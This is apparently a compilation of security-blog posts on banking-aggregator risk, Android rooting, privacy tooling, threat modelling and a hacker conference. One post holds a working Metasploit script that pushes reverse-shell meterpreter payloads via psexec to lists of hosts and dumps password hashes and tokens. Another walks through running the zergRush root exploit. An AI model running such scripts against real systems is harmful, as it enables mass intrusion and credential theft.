There's been a lot of hoopla recently about internet banking security and the introduction of 22seven. I'd like to add to the discussion, by attempting to extract the key arguments and critically analyzing them.

1) 22seven is secure

Figuring out if something is secure is really hard. The current way the industry measures it is by getting a reputable company to perform an in-depth and broad security assessment. 22seven claim to do this in their description. However, none of the results are published, so as a member of the public, we have little to go on. Even then, security testing is a bit of a market for lemons; that is, unless you are an expert, you don't know if the testers did a good job or not. For me to take their claim seriously I'd like to see a letter of attestation from a reputable security testing firm at the least. Until then, we can't know.

On the flip side, I use tons of online services all day that don't even get around to claiming they test their stuff, let alone go as far as I described above, and so do you. But, these services don't want access to my personal financial transactions, limited power of attorney, and leave all the risk of compromise on me.

2) 22seven is safe because they use Yodlee and they are safe

This is the claim put forward by 22seven themselves as part of their security overview, and elaborated on by Simon Dingle. The problem with this is two fold. First, there are many possible ways in which 22seven could be modified in the event of a compromise to provide access to your credentials, even though Yodlee is secure. Paul Cartmel reminds us of the old security truism; that you're only secure as your weakest link. A simple modification of their invocation of Yodlee would be enough to get the job done. Even if you aren't targeting credentials, a disclosure of your financial transactions alone could be a serious breach. So, you need 22seven to be secure AND Yodlee to be secure.

Even then, the use of a third party, with whom I have no contractual relationship, in another country's jurisdiction (now the US gov can subpoena my financial details, yay) makes me uncomfortable. What recourse do I have to Yodlee if they are the source of a breach?

Once again, you do this all the time, so put it into perspective a little :)

3) Yodlee is safe, because they've never been breached in 13 years

If you refer back to point (1) you'll note that I didn't use "no past breaches" as a criteria for "secure". This is for two reasons again. The first is that detecting breaches is really hard. You need to have significant monitoring, and the capability to understand what the tools are producing to know if you are breached. Even then, the possibility of the attacker being smarter than your monitoring exists (and to bypass your average IDS, you don't have to be that smart). Second, having never been compromised could be as much an indication that nobody has ever tried as it could that the site resisted attacks. Even if it was rock solid till now, people make mistakes, and introduce new code with potential vulnerabilities all the time. The past is no guarantee of future success.

To be fair to Yodlee, at no point on their site do they make this claim. This was put forward by Simon in his article.

4) Yodlee's access to your bank account is a good idea

I'm paraphrasing heavily here, but it captures the general argument between 22seven (and supporters) and the likes of Absa. The claim is that Absa is being a stick in the mud and resiting the new wave of customer service possibilities. Commercials aside, I think Absa has a point here. Of all the possibilities for how 22seven could get your info, giving you banking creds to Yodlee has to be the worst. In fact, this is a solved problem. How do you think you accountant has been getting transactional information from Internet Banking into Quick Books or Pascal all these years? They export the stuff in OFX (open financial exchange) or QFX formats and import it into their tool. Better yet, PFM's that support this have been around for a while. I've been using buxfer.com for over a year with this method, and it works well, without me handing over full control of my bank accounts to a random third party (but you'll not I do fall prey to some of the problems I listed above re jurisdiction & the possibility of buxfer getting hacked). There are a ton of other options too, a client-side browser plugin that stores your creds and imports it into the site would be a use of automation that doesn't require credential disclosure. Here, let me draw a picture:

Banks Response

There seem to have been two responses from two banks, Absa and FNB. Absa's response was to block Yodlee's servers. I think it may be a bit drastic, but I certainly have sympathy for their stated objection to handing your creds over to a third party. FNB, on the other hand, has responded by will be getting rid of their One Time Passwords (via GSM as a 2nd-factor-auth) on login, and relying on transactional ("confirmation") OTPs only. They contacted me to clarify that this was planned before 22seven and was not a response to it. I think this is a bad idea (outside of 22seven), and have asked (as a customer) that FNB retain login SMS notifications at the least (they will publish a log of logins within Internet Banking, but by the time you've found an illegal one, it's possibly too late). Hopefully they'll respond. FNB went on to clarify that login notifications will still be sent by e-mail, and that the audit trail published in the app will include both failed and successful logins.

This has happened before though, with Twitter and Facebook. Remember when you had to give sites your twitter and facebook credentials, and the problems that caused? They ended up building in OAuth and providing an API that caters for third party applications (and per-application permissions). This may the chance for the banks to start doing the same.

Conclusion

I'm not saying 22seven and Yodlee are ripe for hacking, nor that they are safe. I'm not even saying us not knowing they're safe should preclude their use given what you do with the rest of your online data. Unfortunately, you need to make the decision, but I'm sticking to my OFX export in the meantime and find the risk of disclosure some transactional data, should buxfer get hacked, acceptable compared with the benefits it provides me (for e.g. I moved bank after buxfer made it clear just how much I was paying). I'm also not joining in any name calling, I disagree with some of Simon and Paul's points and agree with others, but this stands as my opinion in the end.

Update: Modified the "Bank's Response" section based on feedback from FNB. Thanks for going to the trouble of contacting me :)

Thanks to Simon Dingle, I'm going to be getting into the world of Android. One of the things that shocked me over the first few days, was the large number of applications that came bundled with the phone that could not be uninstalled, and had persistent background processes. In the "direct consequences" camp, the Motorola News and Gallery application simultaneously chewed my bandwidth and flattened by battery, in the more worrying "shady unknown consequences" camp, an app call "Arabware [1]" offered to "localize" my services, and  also could not be uninstalled or stopped. I decided it was time I got root.

The official guides for how to root a Motorola Atrix 4G on the latest update (2.3.4 at the time of writing) are laughably naive. In 5 minutes I could easily find 50 sites all parroting the same process involving complex and dangerous flashing of firmware. The first bit of mis-information that needs clarification, is that despite the Motorola 2.3.3 developer preview having an unlocked bootloader, the official 2.3.4 Gingerbread update from Motorola DOES NOT HAVE AN UNLOCKED BOOTLOADER. No problem they say, just flash this firmware in this ZIP file, supposedly extracted from a Chinese leaked version of 2.3.3. What?! You want me to flash fimware passed around as a zip file from random locations? Not a chance. To make it worse, after a quick squiz at the .sbf file, I found this comment embedded in it:

"The2dCour, known troll in your phone."

Awesome. Not a chance I'm touching that.
Here's a much safer, simpler way to root your device, which involves no warranty-voiding, security-spine-chilling hoop jumping.

All I wanted was root. I'm familiar enough with Linux to make my way after that. If you're "non-technical" then move along :) The steps are:

1. Put your phone into USB debugging mode.
2. Download and install the Android Debugging tool from the Android SDK.
• You'll need to run the SDK executable (android) and install the "Platform Tools" to get ADB these days.
3. Plug your phone into your computer.
4. Run "adb devices". You should see the serial number of your phone appear.
5. Download the binary zergRush exploit from it's developers. The source code is also available for you to examine (or compile).
   
6. Upload it to your device with "adb push zergRush /data/local/tmp".
7. Connect to your device with "adb shell"
8. In the shell, switch to the temp dir and run zergRush "cd /data/local/tmp/; ./zergRush"
9. You should see the following (the image below has been partially redacted):
• 
10. If you get the "Killing ADB and restarting as root" line, then it's worked. Exit your adb shell and reconnect. You'll see a "#" as your prompt indicating you're root.

And that's it. On the one hand, I'm happy there's a "safer" easy way to get root on my own device, on the other hand, I'm uncomfortable with the fact that one of Motorola's flagship phones can be 0nwed so easily, with no update forthcoming.

[1] Yes, I know Arabware is a localisation service for the Arabic alphabet. I'm not saying it's shady, just that I see no reason why it should be a mandatory app in South Africa.

In light of past and recent posts from mubix (one, two) and jcran, I thought I'd post the hack I used to connect to then run Metasploit post-exploitation modules across several thousand machines. I still need to go through them all and merge them, but I thought I'd throw my hat in the ring. Thank to mubix for his help on the job with some of it.

Essentially, there are three parts:

1. The massploitation.rc, this is the script run in the console (capturing the output is a good idea)
   
2. The targets file which has a list of targets, one per line
   
3. The extract.rc that is run within each meterpreter session by the massploitation script. You can change this to what you need.
   

massploit-generic.rc

use multi/handler
setg PAYLOAD windows/meterpreter/reverse_tcp
setg LHOST <Local IP>
set LPORT 4444
set ExitOnSession false
exploit -j -z

use exploit/windows/smb/psexec
set SMBUser <username>
set SMBPass <pass or hash>
set SMBDomain "."
set DisablePayloadHandler true

<ruby>
	hostsfile = "<file containing hosts one per line>"
	File.open(hostsfile).each do |host|
		host.strip!
		print_status("Targetting #{host}")
		self.run_single("set RHOST #{host}")
		self.run_single("exploit -j -z")
		flag = false
		count = 0
		while ( flag == false and count < 5 )
			if ( framework.sessions.length > 0 )
				self.run_single("sessions -s extract.rc")
				flag = true
				#self.run_single("sessions -K")  #trying to resolve the race condition, this didn't work
			else
				count += 1
			end
			sleep(5)
		end
	end
</ruby>

extract.rc

print_status(client.sys.config.sysinfo["Computer"])
print_status(client.sys.config.sysinfo["OS"])
client.console.run_single("load incognito")
client.console.run_single("list_tokens -u")
client.console.run_single("run post/windows/gather/cachedump")
client.console.run_single("hashdump")
client.console.run_single("exit")  #Rather kill the session here

The stuff isn’t perfect, as there is a race condition where sometimes it tries to execute the meterpreter script before the meterpreter session is ready. Other than the delay, I’ll need to spend some time to understand metasploit’s threading.

 When managing teams of "information workers", I believe the use of time sheets is indicative of a management failure. Here's why:

• If you have to rely on a timesheet to know what your staff are doing - you're doing it wrong
• If you can't trust your staff to work hard - you have problems a timesheet won't fix
  
• If you believe you have too many staff to manage - get more managers
• If you think anyone completes them accurately - you drank the kool aid
  
• If you think the time it takes to actually complete them accurately is worth it - you hate your staff
• If you manage your business from these inaccurate stats - you're making bad decisions
• If your senior people have PAs complete their timesheets for them - you're a hypocrite
  
• If you spent millions on a new timesheet system, but didn't make it any easier for the staff using the system - you just suck

Update: I moved the code to my github repository, get it there.

(See other updates at the bottom)

Many South African Vodacom cell phone users are stuck with a horrid piece of website known as Vodacom4Me. It uses frames and Javascript to ensure some of the slowest load times you can imagine and has a session cookie that expires rather too quickly, leaving you watching page loads most of your day. In addition it is often buggy. The reason many people bear with this awful service is that it lets you send 20 free sms (text) messages a day.

A long time ago this service used to be free and open to anyone, back then we had a cool perl script written by our resident perl guru, Jonathan Hitchcock. However this service soon changed to a login based service and I released a modification of his script. The web team at vodacom then decided to bludgeon the page a bit more and my last attempt has sat idle and not-working.

However, after some considerable effort, I present the new and improved vodasms.

This version retains many of the cool features of the last two, such as a phonebook and logging, but adds a configuration file, better packaging and the ability to create your own time saving vodacom4me forms.

If you would like to get hold of this, download the package from here, extract it, and read the (fairly detailed) README file. Windows users can use it too, with ActivePerl, I haven't tested it though. From extraction to running, it shouldn't take more than 5 minutes to configure.

This essentially lets you send an sms from the command line by typing lines like:

vodasms 0761234567 hello
vodasms Dominic "hello"

What I mean by 'your own time saving vodacom4me forms' are simple HTML recreations of the same forms generated by Vodacom's JavaScript. Check the vodaform/ directory in the package.

If you open the send page in another window/tab, then login via the login page and close it once it starts redirecting you to the horrors of vodacom4me. Next switch to your send page and fill in the number and message and click send. Away it works. I essentially used the WWW::Mechanize modules to do the same thing. It isn't the most elegant of solutions, but after trying to make my perl bot fake entire pages written in Javascript (seriously, no HTML, all JavaScript) I lost it and went for the easy solution.

On the up side, it does provide a neat decoupled intermediary, where you can modify the forms to handle changes they make to vodacom4me, without too much difficulty.

UPDATE: Two fixes were just added. The phonebook search was iterating through the entire phonebook instead of stopping on the first found entry. Also 076 numbers are now supported. I updated the readme to intruct people to send me an sms when they get it working. I like getting sms'es.

UPDATE 21 April 2006: The benefits of the form decoupling in action: Vodacom changed their login form to use SSL, this required a simple change of the HTML instead of the perl script. Also I have a new cell phone number, the example phone book has been updated so that you can all sms me! The package is up at the same place.

UPDATE 1 March 2011: The tools has been updated to support the new Vodacom portal.

Update: This long stopped working, I just updated it (Nov 2011), and moved it to github, grab it here.

DShield has a nice webpage where you can check whether an IP address appears in the DShield database as an attacker, a good sign that your machine has been compromised. There have been some extensions of this service, such as Johannes Ullrich's "amIhacked?".

I decided this was quite a nice service, so I hacked up a perl script which will do the check for me. I then made a quick cron script which would only mail me if my machine ever appears as an attacker, thus my daily runs aren't cluttered. This is not a foolproof method. It is possible for a machine to get cracked and not appear in the DShield database, but if it is there then there is a fairly good chance something is wrong.

The script is simple, no arguments and it checks your machines IP, or pass an IP to see if it is in the database. It is available for download here. Example output:

$ hackcheck.pl
146.231.115.12 is Safe
$ hackcheck.pl 0.0.0.0
0.0.0.0 is Hacked : It appears 157,699 times.

The cron script is very simple. Just drop it into /etc/cron.daily or the like.

#!/bin/sh
test -f /usr/bin/hackcheck.pl || exit 0

MAILTO=root

#Put the IP address of the machine you want checked here
IP=0.0.0.0

[ -z "$MAILTO" ] && exit 1

hackcheck.pl $IP > /dev/null
if [ "$?" -eq "1" ]; then
        hackcheck.pl $IP| \
        mail -e -s "DShield Hack Warning \
        on $(hostname -f) [$(date +%D)]" $MAILTO
fi

DShield relies on the submissions of people from around the world. Find out how you can contribute by submitting your logs here.

Recently, I had a simple python program that created a listening socket, and was uncomfortable running it as root (required to access a port below 1000). I had a quick look around, and found a good blog entry on doing exactly this. However, when running this on OSX, which uses negative UID and GID, I ran into a problem. It turns out that the negative ID is an offset from UINT32_MAX, i.e. 2^32+(-ve UID). The problem is, Python 2.7.1 (Lion's default) os.setgid() was returning an OverFlowError (but not in 2.7.2). I made a mod to the code to handle that case, and figured this pattern may be useful to others wanting to drop privs in a python app.

import os, pwd, grp

def safe_setgid(running_gid):
	try:
		os.setgid(running_gid)
	except OSError, e:
		print('Could not set effective group id: %s' % e)

def safe_setuid(running_uid):
	try:
		os.setuid(running_uid)
	except OSError, e:
		print('Could not set effective group id: %s' % e)

# Taken from http://antonym.org/2005/12/dropping-privileges-in-python.html
def drop_privileges(uid_name='nobody', gid_name='nogroup'):
	starting_uid = os.getuid()
	starting_gid = os.getgid()
	starting_uid_name = pwd.getpwuid(starting_uid)[0]

	if os.getuid() != 0:
		# We're not root so don't drop, you may want to change this
		print("drop_privileges: already running as '%s'"%starting_uid_name)
		return

	# If we started as root, drop privs and become the specified user/group
	if starting_uid == 0:
		# Get the uid/gid from the name
		running_uid = pwd.getpwnam(uid_name)[2]
		running_gid = grp.getgrnam(gid_name)[2]

		# Try setting the new uid/gid
		try:
			safe_setgid(running_gid)
		except OverflowError, e:
			if (running_gid > 4294967290):
				running_gid = -4294967296 + running_gid
				safe_setgid(running_gid)

		try:
			safe_setuid(running_uid)
		except OverflowError, e:
			if (running_uid > 4294967290):
				running_uid = -4294967296 + running_uid
				safe_setuid(running_gid)

		# Ensure a very conservative umask
		new_umask = 077
		old_umask = os.umask(new_umask)
		print('drop_privileges: Old umask: %s, new umask: %s' % (oct(old_umask), oct(new_umask)))

	final_uid = os.getuid()
	final_gid = os.getgid()
	print('drop_privileges: running as %s/%s' % (pwd.getpwuid(final_uid)[0],grp.getgrgid(final_gid)[0]))

Modern web-browsers support all sorts of add-ons and plugins. From a privacy perspective, this means you can block adverts and trackers, use tools like GoogleSharing and other request re-directors. However, mobile devices typically don't have the same extensibility. While searching for a way to implement this, I came up with using proxy.pac as a way to do some more advanced network jiggery pokery, without requiring platform specifics (i.e. should work on iOS, Android or even Firefox & Chrome), or the need to jailbreak.

Unfortunately, 1984.za.net is down, and since then I've done a bit more work on this. I presented this briefly in my ITWeb presentation last year (slides 27-30), and figure it was about time to make this properly public. I've put it up on my github at mobile-proxy (have I mentioned I love github).

This is still pretty rough, but it proves the methodology and can be extended.

Two interesting things to come out of it are:

iOS Mobile Proxy Configuration

You can edit the proxy used when your phone is on a mobile network (i.e. not wifi) by editing the file (once jailbroken): /Library/Preferences/SystemConfiguration/preferences.plist and adding the ProxyAutoConfigURLString key as below:

 

<dict>
	<key>HTTPEnable</key>
		<integer>0</integer>
	<key>HTTPProxyType</key>
		<integer>2</integer>
	<key>HTTPSEnable</key>
		<integer>0</integer>
	<key>ProxyAutoConfigEnable</key>
		<integer>1</integer>
	<key>ProxyAutoConfigURLString</key>
		<string>https://<host>/proxy.php</string>
</dict>

It was pointed out on twitter that the iPhone Configuration Utility should allow this to be done without the need to jailbreak. I'll test it and update things if it works.

BlackHole Proxy

The second interesting thing, is that to block access to a website just redirecting to a non-existent server won't work as WebKit based browsers in particular will try again without using the proxy. Thus, a blackhole proxy was needed. Gert at Sensepost wrote a quick 'n fast twisted server for those purposes, and I extended it to drop privileges to reduce attack surface. It's included on github.

(Hi Slashdot & The Register readers. Make sure to check the 2nd part on killing iPhone Evercookie's too)

Samy Kamar recently released his tool, evercookie. This uses multiple persistent data stores to set unique identifiers that can be used to identify your browser to a website. While my default Firefox browsing setup is safe against it, I noticed that the "disposable" Safari instance I used was not. I sometimes use a clean Safari instance to test or access things the tinfoil on my Firefox does not let me. After each use I reset everything in it. However, I noticed that evercookie would persist. Here's how to delete it and others using the same mechanisms for Safari on OSX 10.6 (working out the same for other browsers/OS' isn't too difficult):

When the evercookie is created, is shows as existing in the following locations (note: just visiting the site sets up some of the evercookie containers):

userData mechanism: undefined
cookieData mechanism: 362
localData mechanism: 362
globalData mechanism: undefined
sessionData mechanism: 362
historyData mechanism: undefined
pngData mechanism: 362
etagData mechanism: 362
dbData mechanism: 362
lsoData mechanism: 362

If I reset Safari, but don't restart it, the cookie persists in these four locations. The force-cached PNG uses an RGB value as the identifier and is only cleared after a reset and restart:

pngData mechanism: 362
etagData mechanism:
userData mechanism: undefined
cookieData mechanism: undefined
localData mechanism: 362
globalData mechanism: undefined
sessionData mechanism: null
historyData mechanism: undefined
dbData mechanism: 362
lsoData mechanism: 362

However, even a reset and restart leaves us with the two HTML5 localData and SQLite locations, and a flash cookie:

pngData mechanism: undefined
etagData mechanism:
userData mechanism: undefined
cookieData mechanism: undefined
localData mechanism: 362
globalData mechanism: undefined
sessionData mechanism: null
historyData mechanism: undefined
dbData mechanism: 362
lsoData mechanism: 362

To this end, I wrote a small script (which Bernd turned into a GUI app for OSX) which will remove these and other cookies:

cat evercookie-kill.sh
#!/bin/bash
echo "Deleting evercookie locations Safari missed (see samy.pl/evercookie)"
rm -r ~/Library/Safari/Databases/*
rm -r ~/Library/Safari/LocalStorage/*
rm -r ~/Library/Preferences/Macromedia/Flash\ Player/\#SharedObjects/*

Running the script while Safari is running will have no effect. For it to work fully, you will need to reset Safari, exit, then run the script. This will clear out all the locations currently implemented in evercookie. While checking these locations, I was surprised to find data from all sorts of other sites, hence the removal of "*", but you can replace it with "samy.pl" if you want to target Samy's evercookie specifically (note, that's not the same as someone else's site implementing the evercookie). While the flash cookies had a large number of sites, there were a couple (cnn, foxnews, twitter and a few others I can't remember) using the HTML5 locations.

Originally published on SensePost's blog.

While doing some thinking on threat modelling I started examining what the usual drivers of security spend and controls are in an organisation. I've spent some time on multiple fronts, security management (been audited, had CIOs push for priorities), security auditing (followed workpapers and audit plans), pentesting (broke in however we could) and security consulting (tried to help people fix stuff) and even dabbled with trying to sell some security hardware. This has given me some insight (or at least an opinion) into how people have tried to justify security budgets, changes, and findings or how I tried to. This is a write up of what I believe these to be (caveat: this is my opinion). This is certainly not universalisable, i.e. it's possible to find unbiased highly experienced people, but they will still have to fight the tendencies their position puts on them. What I'd want you to take away from this is that we need to move away from using these drivers in isolation, and towards more holistic risk management techniques, of which I feel threat modelling is one (although this entry isn't about threat modelling).

I moved back to the world of civilized e-mail, i.e. mutt. It's been wonderful, and I particularly enjoy hacking my mailcap to display things just how I like them (no PDF sploits for me). However, OSX's handling of calendar files is very irritating in that iCal tries to send responses via Mail.app without giving you much of a chance to do anything. I'd rather handle it in mutt and the cli. This is also generally useful for people using mutt who want to handle calendar files.

I found a script mutt-ical, which does most of what I wanted; parse the ics, ask me what I want to do, then mail the organiser with my response. I made some changes to make it support Outlook generated calendar files, not override your mutt "send" settings, and display the calendar details in plaintext before you decide to accept/decline/tentative it.

• Download my version here. (I'd submit a patch, but the developer has no working contact details I worked out how git pull request work :) )
  
• Copy it into somewhere in your PATH, (or you can specify the PATH in your .mailcap)
• Edit your mailcap to have the following line:
• text/calendar; <path>mutt-ical.py -i -e "user@domain.tld" %s
• For added fun on OSX, you can extend it to the following, to get iCal to open it nicely too (iCal cares not for mime types it seems):
• text/calendar; open %s && ~/bin/mutt-ical.py -i -e "dominic@sensepost.com" %s; nametemplate=%s.ics
  
• text/calendar; mv %s %s.ics && open %s.ics && <path>mutt-ical.py -i -e "user@domain.tld" %s.ics && rm %s.ics (I found nametemplate fixes this problem)
  
• You can force iCal to stop trying to send mail on your behalf by replacing the file /Applications/iCal.app/Contents/Resources/Scripts/Mail.scpt with your own ActionScript. I went with the following: error number -128 Which tells it that the user cancelled the action.
• Open AppleScript Editor, paste the code from above into a new script, then save it.
• Move the old script /Applications/iCal.app/Contents/Resources/Scripts/Mail.scpt just in case you want to re-enable the functionality.
• Copy your new script into place.
  

TBOY - The Best One Yet

ZaCon III has come and gone this last weekend. It was a blast, solid content including some exciting first timers and more than doubling the original research output, an extension to include a Fri night, and the first time we ran with volunteers. The fact that the con seems to be getting better each year is important for me.

"It looks a bit eclectic"

Friday night kicked off around 7 at an uber-chilled venue, described by Roelof as "what I always imagined ZaCon should be" which was pretty great. Despite a projector failure, and nowhere to put the backup one, Roelof and Marco both presented some really entertaining talks. It was a nice mix of entertaining (and freaky) OSint followed by some hardcore vuln research. The time on either side to meet and talk to people was fun as a change to the usual brain-bending long day that is ZaCon.

Coffee was Flowing, Hangovers were Showing

Saturday kicked off with some more projector and microphone troubles followed by a power failure to one side of the room, but by the first tea break we had a duct taped alternative projector stand up and running, the lapel mic microphone replaced and power piped in from the surrounds. The talks started with more than 100 people filling the uncomfortable benches, and the three upstream tubes providers taking some strain thanks to the RF-busting styles of our internet volunteers, Peter Stayt & Prince Sihlahla. Our local site (local.zacon.org.za, up for a few days more if you want to get your ratings in) ran smoothly for a change thanks to Ralfe Poisson.

My favourite talks of the day go to Jeremy du Bruyn on practical password cracking and Reino Mostert on NNTP cache enumeration and poisoning. Partly because they were first time speakers, delivering original research output, and partly because they were awesome speakers with awesome talks even without the caveats. The "can I go to jail if" talk from Matt Erasmus and Helaine Leggat with Matt collecting and asking the questions, and Helaine answering was also great, and we're thinking of making it a regular feature if they agree. The only thing I missed there, was a light of hope. I got the feeling that in ZA vuln research has *no legal protection* and your only defense is not to do it. There were several other talks I greatly enjoyed too.

We'll be collecting slides, DiscussIT will be publishing audio, and some time later we'll try get the videos out.

ZaCon IV

We've got pages of things to improve on for next year, and hopefully we'll be able to retain the TBOY label. In the meantime, it's never too early to start pondering a submission for next year, start talking it over at the next 0xC0FFEE session, subscribe to the community@zacon.org.za mailing list or join the #zacon chan on irc.atrum.org.

Thanks

So many people did so many things, here's a brief list of people who need thanking in no particular order

• The speakers - without you guys there's no con
• People@ - you know who you are
• The volunteers
• Local site - Ralfe
• Internets - Peter, Prince
• Registration - Tim, Ross
• Badges - Andrew
• Venue - Sagi <-- Big shouts to this guy, who did some some hard work
• Audio & Video - Tony and Jameel
• Attendees - presenting to an empty room wouldn't be as much fun
• University of Johannesburg - for hosting us
• Cafe Pronto - for the coffee
  

This is re-published, from the original on the SensePost blog.

Security policies are necessary, but their focus is to the detriment of more important security tasks. If auditors had looked for trivial SQL injection on a companies front-page as hard as they have checked for security polices, then maybe our industry would be in a better place. I want to make this go away, I want to help you tick the box so you can focus on the real work. If you just want the "tool" skip to the end.

A year and a half ago, SensePost started offering "build it" rather than "break it" consulting services, we wanted to focus on technical, high-quality advisory work. However, by far the most frequently "consulting" request we've seen has been asking for security policies. Either a company approaches us looking for them explicitly or they want them bolted on to other work. The gut feel I've picked up over the years is that if someone is asking you to develop security policies for them, then either they're starting on security at the behest of some external or compliance requirement or they're hoping that this is the first step in an information security program. (Obviously, I can't put everything into the same bucket, but I'm talking generally) Both are rational reasons to want to get your information security policies sorted, but getting outside consultants to spend even a week's worth of time developing them for you, is time that could be better spent in my opinion. My reasons for this are two-fold:

• If you're starting a security program, then you have a lot to learn and possibly a lot of convincing of senior management to do. Something like an internal penetration test (not that I'm advocating this specifically instead of policy) will give you far more insight into the security of your environment and a lot more "red ink" that can be used to highlight the risk to the "higher ups".
• Security policies don't "do" anything. They are a representation of management's intention and agreements around security controls, which in the best case, provide a "cover my ass" defense if an employee takes you to task for intercepting their e-mails or something similar. The policies need to be used to derive actual controls, and are not controls in themselves.

Instead, we too often end up in a world where security policies, rather than good security, is the end goal while new technologies keep us amused developing new ones (mobile policies, social media policies, data leakage policies etc.)

Saying all of this is fine, but it doesn't make the auditors stop asking, and it doesn't put a green box or tick in the ISO/PCI/CoBIT/HIPAA/SOX policies checkbox. Previously, I've pointed people at existing policy repositories, where sample policies can be downloaded and modified to suit their need. Sites such as CSOOnline or PacketSource have links to some policies, but by far the most comprehensive source of free security policy templates is SANS. The problem is people seem to look at these, think it looks like work, and move on to a consultancy that's happy to charge for a month's worth of time. Even when you don't, the policies are buried in sub-pages that don't always make sense (for example, why is the Acceptable Use Policy put under "computer security"), even then several of them are only available in PDF form (hence not editable), even though they are explicitly written as modifiable templates. What I did was to go through all of these pages, download the documents, convert them into relevant formats and categorise them into a single view in a spreadsheet with hyperlinks to the documents. I've also included their guidance documents on how to write good sec policies, and ISO 27001-linked policy roadmaps. I haven't modified any of the actual content of the documents, and those retain their original copyright. I'm not trying to claim any credit for others' hard work, merely make the stuff a little more accessible.

You can download the index and documents HERE.

In future, I hope to add more "good" policies (a few of the SANS policies aren't wonderful), and also look into expanding into security standards (ala CIS Security) in the future. If necessary, take this to a consultancy, and ask them to spend some time making these specific to your organisation and way of doing things, but please, if you aren't getting the basics right, don't focus on these. In the meantime, if you're looking for information security policies to go away, so you can get on with the bigger problems organisations, and our industry in general are facing, then this should be a useful tool.

This was originally posted on the SensePost blog.

Over the last few years there has been a popular meme talking about information centric security as a new paradigm over vulnerability centric security. I've long struggled with the idea of information-centricity being successful, and in replying to a post by Rob Bainbridge, quickly jotted some of those problems down.

In pre-summary, I'm still sceptical of information-classification approaches (or information-led control implementations)  as I feel they target a theoretically sensible idea, but not a practically sensible one.

Information gets stored in information containers (to borrow a phrase from Octave) such as the databases or file servers. This will need to inherit a classification based on the information it stores. That's easy if it's a single purpose DB, but what about a SQL cluster (used to reduce processor licenses) or even end-user machines? These should be moved up the classification chain because they may store some sensitive info, even if they spend the majority of the time pushing not-very-sensitive info around. In the end, the hoped-for cost-saving-and-focus-inducing prioritisation doesn't occur and you end up having to deploy a significantly higher level of security to most systems. Potentially, you could radically re-engineer your business to segregate data into separate networks such as some PCI de-scoping approaches suggest, but, apart from being a difficult job, this tends to counter many of the business benefits of data and system integrations that lead to the cross-pollination in the first place.

Next up, I feel this fails to take cognisance of what we call "pivoting"; the escalation of privileges by moving from one system or part of a system to another. I've seen situations when the low criticality network monitoring box is what ends up handing out the domain administrator password. It had never been part of internal/external audits scope, none of the vulns showed up on your average scanner, it had no sensitive info etc. Rather, I think we need to look at physical, network and trust segregation between systems, and then data. It would be nice to go data-first, but DRM isn't mature (read simple & widespread) enough to provide us with those controls.

Lastly, I feel information-led approaches often end up missing the value of raw functionality. For example, a critical trade execution system at an investment bank could have very little sensitive data stored on it, but the functionality it provides (i.e. being able to execute trades using that bank's secret sauce) is hugely sensitive and needs to be considered in any prioritisation.

I'm not saying I have the answers, but we've spent a lot of time thinking about how to model how our analysts attack systems and whether we could "guess" the results of multiple pentests across the organisation systematically, based on the inherent design of your network, systems and authentication. The idea is to use that model to drive prioritisation, or at least a testing plan. This is probably closer aligned to the idea of a threat-centric approach to security, and suffers from a lack of data in this area (I've started some preliminary work on incorporating VERIS metrics).

In summary, I think information-centric security fails in three ways; by providing limited prioritiation due to the high number of shared information containers in IT environments, by not incorporating how attackers move through a networks and by ignoring business critical functionality.

Yesterday I got sent a carrier update on my iPhone. I was interested in what this does, so pulled it apart, this is the list of changes it made. This is pretty uninteresting and just an excuse for me to understand carrier updated.

Apple has a post on carrier updated here, which specifies the locations the files are downloaded to your machine. They have a ".ipcc" extension, but file shows them to be simple ZIP files. Unlike firmware updates, iTunes does not delete the old version on download of a new one, so it's easy to compare them. You can unzip them, then you'll need to use plutil to convert the .plist files from binary form to XML with the command: plutil -convert xml1 <filename>.plist . After that, a simple diff -u showed the changes with context. This were helpfully explained by the iPhone Wiki's breakdown of the attributes. The relevant changes were:

• The maximum number of Bluetooth modem tethering connections has been set to 5
• Facetime registration SMS'es will not require an opt-in due to cost
• A roaming voicemail number has been explicitly set (an UK number)
• A new "blank" APN was added. I have no idea what this is for, and it doesn't seem to appear on the actual phone as an option.
  
• Some carrier pictures have been updated
  

Matt Erasmus came up with a great idea for taking the Security Bingo card from RSA, and making our own for the ITWeb Security Summit, and using it to generate some funds for Hackers for Charity. Last year, thanks to companies such as ITWeb, SensePost & Telspace we managed to send R15k over to HFC, and it would be nice to do it (or more) again.

I have a long standing bug-bear over the uselessness that security vendors seem to bring to cons in ZA. They respond to requests for "please don't pitch your product" by talking generically about the "outsourced next generation cloud-based firewall industry" as if that was some sort of legitimate field that didn't constitute only their product. They still send sales/pre-sales/product specialists with their EMEA marketing deck, rather than something of actual value. But as long as they're offering money, people take it, no questions asked. You'd think the empty rooms and people walking out of their presentations would send the message, but instead a local distributor finds a new vendor, or the vendor sends a new person, so the lesson is never learned.

That's not why Matt suggested the bingo, but it's one of the main reason's I helped. I want the vendor telling us that their product will block 100% of APTs to walk away feeling dirty and ashamed, and maybe even realise the error of their ways and turn into the next Charlie Miller. Also, I want to help Johnny, and the great work HFC is doing in Uganda (and Kenya).

So, as Matt already said. Find either he or I at the security summit (we'll be wearing I Hack Charities shirts) and give us R50 (or more, it's for a good cause) and we'll give you a security vendor bingo card (feel free to pre-print yours). Fill it out during the talks or on the con floor, optionally with the name of the vendor so we can tally a highscore list, then either return it to us in person, or mail it to the address printed on it, and we'll give you the results. There'll be some sort of prize if we can muster one, one for the person to complete first with the highest score, and one for the person who comes up with the best "other" phrase. Given that you could just tick them all off and give yourself a first high score, this will be a "Don't be a Douche" style contest.

After several days of trying all the different solutions proposed as the story has emerged, I think I've finally got a solution that is both usable (i.e. doesn't break anything) and permanent (i.e. apply once and let dry).

My original suggestion of rubbish values + read-only didn't work, untrackerd takes up valuable memory & battery and misses nearly all the worrying data & the SQL triggers file from Tehtri also missed some data and breaks some functionality (most notably the compass). 

However, Tehtri's idea was the best. They proposed a set of SQL triggers that would reset the consolidated.db to a clean state and prevent it filling up with your location data. All this without requiring a persistent daemon or the need to re-apply the fix. I've edited their SQL (you can see the changes here, this is merely for those interested, don't run it) to reset consolidated.db to how it looks when locationd creates a blank new one, then modified the triggers to do the same (rather than just blank all the tables). I've also extended it to include some tables they had missed, and not delete some data it shouldn't (e.g. blanking TableVersions makes locationd unhappy, and it has no location data in it anyway) . Finally, I leave the last entry of the compass calibration (in the trigger too) so you don't have to constantly recalibrate your compass (every minute or so it was). I haven't found it break anything yet (even location via nearby wifi BSSID works without storing the values). Grab the final, clean version from here, and apply with the sqlite command:

sqlite3 consolidated.db '.read singe-iphone-privacy.sql'

There are three ways to do this:

